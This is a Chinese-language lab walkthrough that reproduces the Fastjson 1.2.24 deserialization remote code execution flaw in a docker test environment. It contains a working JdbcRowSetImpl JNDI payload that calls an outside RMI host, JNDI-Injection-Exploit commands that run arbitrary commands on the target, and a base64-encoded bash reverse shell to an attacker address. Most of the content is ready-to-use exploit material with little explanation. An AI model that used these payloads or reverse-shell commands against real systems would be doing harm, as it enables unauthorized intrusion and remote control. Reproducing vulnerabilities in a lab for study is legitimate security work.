一 漏洞描述
stjson在对 JSON 字符串进行反序列化的时候,会读取 @type 的内容,试图把 JSON 内容反序列化成这个对象,并且会调用这个类的set方法, 利用这个特性,构造一个 JSON 字符串,并且使 用 @type 反序列化一个自己想要使用的 攻击类库。
二 漏洞复现
1.漏洞环境
App :Fastjson
Path :fastjson/1.2.24-rce
运行测试环境:docker-compose up -d
访问http://your-ip:8090
即可看到JSON格式的输出
2.刷新页面,连接burp
将GET改成POST方法,格式改成json,发包测试数据
{"name":"qaq", "age":24}
3.漏洞检测
①使用BurpSuite扩展FastjsonScan进行漏洞检测,下载FastjsonScan.jar包
链接:https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar
②安装:如图
③FastjsonScan扫描,流程如图
④扫描结果
扫描出漏洞利用的POC,将此POC复制到Repeater模块,如图
{
"handsome":{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;", "dataSourceName":"rmi://onfy90ufg4wyl1pcem92vw75pwvmjb.oastify.com/aaa",
"autoCommit":true
}
}
5.下载JNDI-Iniection-Exploit工具
①下载地址:
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
②使用命令:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/qaq" -A "192.168.253.139"
③.将rmi、ldap放到burp中的POC依次进行测试
ldap://192.168.253.139:1389/yvgzde
(回显成功)
④数据有回显,在/tmp中查看创建的qaqa文件,显示创建成功
docker ps -a
docker exec -it b05439362a1f /bin/bash
ls /tmp
三 深度利用
1.getshell
构造反弹shell命令;
①bash -i >& /dev/tcp/192.168.253.139/1234 0>&1
做base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My4xMzkvMTIzNCAwPiYx
②bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1My4xMzkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}
2.反弹成功